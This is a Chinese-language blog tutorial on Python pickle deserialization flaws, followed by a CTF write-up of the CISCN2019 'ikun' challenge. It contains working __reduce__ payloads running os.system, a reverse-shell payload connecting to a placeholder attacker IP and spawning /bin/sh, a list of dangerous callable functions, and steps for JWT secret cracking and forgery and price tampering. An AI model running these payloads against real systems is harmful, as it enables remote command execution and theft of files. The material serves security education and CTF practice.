Python反序列化漏洞(Pickle/cPickle)


基础知识

Python中有个库可以实现序列化和反序列化操作,名为pickle或cPickle(操作是一样的,这里以pickle为例),作用和PHP的serialize与unserialize一样,两者只是实现的语言不同,一个是纯Python实现、另一个是C实现,函数调用基本相同,但cPickle库的性能更好,因此这里选用cPickle库作为示例。

cPickle可以对任意一种类型的Python对象进行序列化操作。下面是主要的四个函数:

# 将指定的Python对象通过pickle序列化作为bytes对象返回,而不是将其写入文件
dumps(obj, protocol=None, *, fix_imports=True)

# 将通过pickle序列化后得到的字节对象进行反序列化,转换为Python对象并返回
loads(bytes_object, *, fix_imports=True, encoding="ASCII", errors="strict")

# 将指定的Python对象通过pickle序列化后写入打开的文件对象中,等价于`Pickler(file, protocol).dump(obj)`
dump(obj, file, protocol=None, *, fix_imports=True)

# 从打开的文件对象中读取pickled对象表现形式并返回通过pickle反序列化后得到的Python对象
load(file, *, fix_imports=True, encoding="ASCII", errors="strict")

说明:上面这几个方法参数中,*号后面的参数都是Python 3.x新增的,目的是为了兼容Python 2.x,具体用法请参看官方文档。

实例一:内置数据类型的序列化/反序列化

Python 3.x

# python3
import pickle

data = ['aa', 'bb', 'cc']
p = pickle.dumps(data)
print(p)

d = pickle.loads(p)
print(d)

输出:

b'\x80\x04\x95\x14\x00\x00\x00\x00\x00\x00\x00]\x94(\x8c\x02aa\x94\x8c\x02bb\x94\x8c\x02cc\x94e.'

['aa', 'bb', 'cc']

Python 2.x

# python2
import pickle

data = ['aa', 'bb', 'cc']
p = pickle.dumps(data)
print p
d = pickle.loads(p)
print d

输出:

(lp0
S'aa'
p1
aS'bb'
p2
aS'cc'
p3
a.

['aa', 'bb', 'cc']

说明:

  • 默认情况下Python 2.x中pickled后的数据是字符串形式,需要将它转换为字节对象才能被Python 3.x中的pickle.loads()反序列化;Python 3.x中pickling所使用的协议是v3,因此需要在调用pickle.dumps()时指定可选参数protocol为Python 2.x所支持的协议版本(0,1,2),否则pickled后的数据不能被被Python 2.x中的pickle.loads()反序列化;
  • Python 3.x中pickle.dump()和pickle.load()方法中指定的文件对象,必须以二进制模式打开,而Python 2.x中可以以二进制模式打开,也可以以文本模式打开。

实例二:自定义数据类型的序列化/反序列化

首先来自定义一个数据类型:

class Student(object):
    def __init__(self, name, age, sno):
        self.name = name
        self.age = age
        self.sno = sno

    def __repr__(self):
        return 'Student [name: %s, age: %d, sno: %d]' % (self.name, self.age, self.sno)

pickle模块可以直接对自定数据类型进行序列化/反序列化操作,无需编写额外的处理函数或类。

>>> stu = Student('Tom', 19, 1)
>>> print(stu)
Student [name: Tom, age: 19, sno: 1]

# 序列化
>>> var_b = pickle.dumps(stu)
>>> var_b
b'\x80\x03c__main__\nStudent\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03X\x03\x00\x00\x00Tomq\x04X\x03\x00\x00\x00ageq\x05K\x13X\x03\x00\x00\x00snoq\x06K\x01ub.'

# 反序列化
>>> var_c = pickle.loads(var_b)
>>> var_c
Student [name: Tom, age: 19, sno: 1]

# 持久化到文件
>>> with open('pickle.txt', 'wb') as f:
...     pickle.dump(stu, f)
...

# 从文件总读取数据
>>> with open('pickle.txt', 'rb') as f:
...     pickle.load(f)
...
Student [name: Tom, age: 19, sno: 1]

更多Python序列化与反序列化操作,请看《Python序列化与反序列化》。

反序列化漏洞

python反序列化漏洞的本质在于序列化对象的时候,类中自动执行的函数(如__reduce__)也被序列化,而且在反序列化时候该函数会直接被执行。

漏洞产生的原因在于pickle可以将自定义的类进行序列化和反序列化。反序列化后产生的对象会在结束时触发__reduce__方法从而触发恶意代码,类似与PHP中的__wakeup__,在反序列化的时候会自动调用。

简单说明一下__reduce__方法:

当定义扩展类型时(也就是使用Python的C语言API实现的类型),如果你想pickle它们,你必须告诉Python如何pickle它们。__reduce__()是一个二元操作函数,第一个参数是函数名,第二个参数是第一个函数的参数数据结构。当__reduce__被定义后,当对象被反序列化时就会被调用。它要么返回一个代表全局名称的字符串,要么返回一个元组,这个元组包含2到5个元素,主要用到前两个参数,即一个可调用的对象,用于重建对象时被调用,一个参数元素(也是元组形式),供那个可调用对象使用。

举个例子就清楚了:

import pickle
import os
class Exp(object):
    def __reduce__(self):
        # 导入os模块执行命令
        return(os.system,('ls',))
        # return(os.system,('calc.exe',))
        # return(eval,("os.system('calc.exe')",))
        # return(map,(os.system, ('calc.exe',)))
        # return(eval,("__import__('os').system('calc.exe')",))

a = Exp()
test = pickle.dumps(a)
pickle.loads(test)

如上图,可以看到成功执行了ls命令。

这里注意,在python2中只有内置类才有__reduce__方法,即用class A(object)声明的类,而python3中已经默认都是内置类了。

当然我们还可以反弹shell:

import pickle
import os
class Exp(object):
    def __reduce__(self):
        shell = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xxx.xxx.xxx.xxx",2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""
        return (os.system,(shell,))    
a=Exp()
result = pickle.dumps(a)
pickle.loads(result)

pickle.loads是会解决 import 问题的,对于未引入的module会自动尝试import。那么也就是说整个python标准库的代码执行、命令执行函数我们都可以使用。

eval, execfile, compile, open, file, map, input,
os.system, os.popen, os.popen2, os.popen3, os.popen4, os.open, os.pipe,
os.listdir, os.access,
os.execl, os.execle, os.execlp, os.execlpe, os.execv,
os.execve, os.execvp, os.execvpe, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe,
os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe,
pickle.load, pickle.loads,cPickle.load,cPickle.loads,
subprocess.call,subprocess.check_call,subprocess.check_output,subprocess.Popen,
commands.getstatusoutput,commands.getoutput,commands.getstatus,
glob.glob,
linecache.getline,
shutil.copyfileobj,shutil.copyfile,shutil.copy,shutil.copy2,shutil.move,shutil.make_archive,
dircache.listdir,dircache.opendir,
io.open,
popen2.popen2,popen2.popen3,popen2.popen4,
timeit.timeit,timeit.repeat,
sys.call_tracing,
code.interact,code.compile_command,codeop.compile_command,
pty.spawn,
posixfile.open,posixfile.fileopen,
platform.popen

漏洞检测方法

全局搜索Python代码中是否含有关键字类似“import cPickle”或“import pickle”等代码,若存在则进一步确认是否调用cPickle.loads()pickle.loads()且反序列化的参数可控。

[CISCN2019 华北赛区 Day1 Web2]ikun

进入题目:

image-20200809131445167

往下拉,说“一定要买到lv6!!!”:

image-20200809131541105

看完整个页面也没有发现lv6,点击下一页:

image-20200809131624025

此时发现url处变了,出现了“?page=2”:

image-20200809131650244

看来是这个page参数控制着页面的变化,我们写个脚本,找出存在lv6的页面:

import requests

for i in range(1000):
    url = 'http://eb18b8a8-8d5e-442c-9666-82369cfd60be.node3.buuoj.cn/shop?page={}'.format(i)
    r = requests.get(url=url)
    if 'lv6.png' in r.text:
        print(i)
        break

image-20200809131822182

得到181,访问第181页面,发现lv6:

image-20200809131905449

购买需要注册登录:

image-20200809131935467

登录进去发现钱不够啊:

image-20200809132024816

image-20200809132132261

此时怀疑他的购买页面存在逻辑漏洞,购买时抓包:

image-20200809132249745

将折扣discount改到很小很小:

image-20200809132330432

点击Forward,购买成功,但却跳转到了/b1g_m4mber页面,说只允许admin访问:

image-20200809132454692

再次抓包:

image-20200809132540090

发现原来他用的是JWT Token验证的,所以我们就可以对JWT进行爆破和伪造。用c-jwt-cracker爆破得到秘钥为“1Kun”:

image-20200809132730631

去“https://jwt.io/”上面伪造jwt为admin:

image-20200809132831495

修改JWT后发包:

image-20200809132918387

成功进去了,查看源码,发现www.zip:

image-20200809133006036

下载源码后打开,找到了一个python反序列化的地方,在admin.py:

image-20201010154108251

payload如下:

import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))

poc = payload()
a = pickle.dumps(poc)
a = urllib.quote(a)
print a

生成的payload如下:

c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.

最后传入become:

image-20201010160327917

image-20201010160246147

得到flag。


Author: WHOAMI
Reprint policy: All articles in this blog are used except for special statements CC BY 4.0 reprint polocy. If reproduced, please indicate source WHOAMI !
评论
  TOC